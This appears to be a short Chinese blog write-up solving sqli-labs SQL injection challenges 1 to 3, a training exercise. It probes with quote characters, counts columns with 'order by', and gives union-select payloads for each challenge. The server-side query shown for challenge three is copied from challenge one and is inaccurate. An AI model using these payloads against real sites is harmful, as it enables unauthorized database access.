您的位置:首页 > 数据库

SQLI第一二三题

2020-02-03 04:36 696 查看

SQLi题目

文章目录

第一题:

先尝试-1、‘、“等字符,产生报错信息,通过报错信息来判断接下来如何操作

报错信息用两个单引号标注,我们这里复制出两个单引号之间的内容,就是下面的字符串

报错信息-----> ’ 1’ ’ LIMIT 0,1

根据报错信息,可以确定输入参数的内容被存放到一对单引号中间,

猜想:咱们输入的1在数据库中出现的位置为:select … from … where id=’1’ …,

也可以查看sqli-lab中less-1的php文件可以看到,和猜想一致。

这里直接尝试联合查询,爆出注入点(%23为#的url编码,注释后面内容,–+也是注释, --空格)

首先我们查询列数

当我们输入1‘order by 5 %23

在服务端执行的语句

SELECT * FROM users WHERE id=’ 1 ’ order by 5 %23 ’ LIMIT 0,1

等同于

SELECT * FROM users WHERE id=’ 1 ’ order by 5

依次查询出字段数为3

开始注入

答案------> ?id=-1’ union select 1,2,3%23

第二题:

同样的我们尝试 单引号、双引号报错

报错信息---------> ’ LIMIT 0,1

根据报错信息,可以确定输入参数的内容被直接存放查询语句

查看源代码也可以验证猜想

所以我们直接联合查询,这里步骤与第一题类似,不再复述

答案------> ?id=-1 union select 1,2,3%23

第三题:

同样的我们尝试 单引号、双引号报错

报错信息---------> ‘1’’) LIMIT 0,1

根据报错信息,可以确定输入参数的内容被存放到一对括号中间

查看源代码也可以验证猜想

首先我们查询列数

当我们输入1‘)order by 5 %23

在服务端执行的语句

SELECT * FROM users WHERE id=’ 1 ’ order by 5 %23 ’ LIMIT 0,1

等同于

SELECT * FROM users WHERE id=’ 1 ’ order by 5

依次查询出字段数为3

开始注入

答案------> ?id=-1’) union select 1,2,3 %23

  • 点赞
  • 收藏
  • 分享
  • 文章举报
熊猫在路上 发布了10 篇原创文章 · 获赞 1 · 访问量 325 私信 关注
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: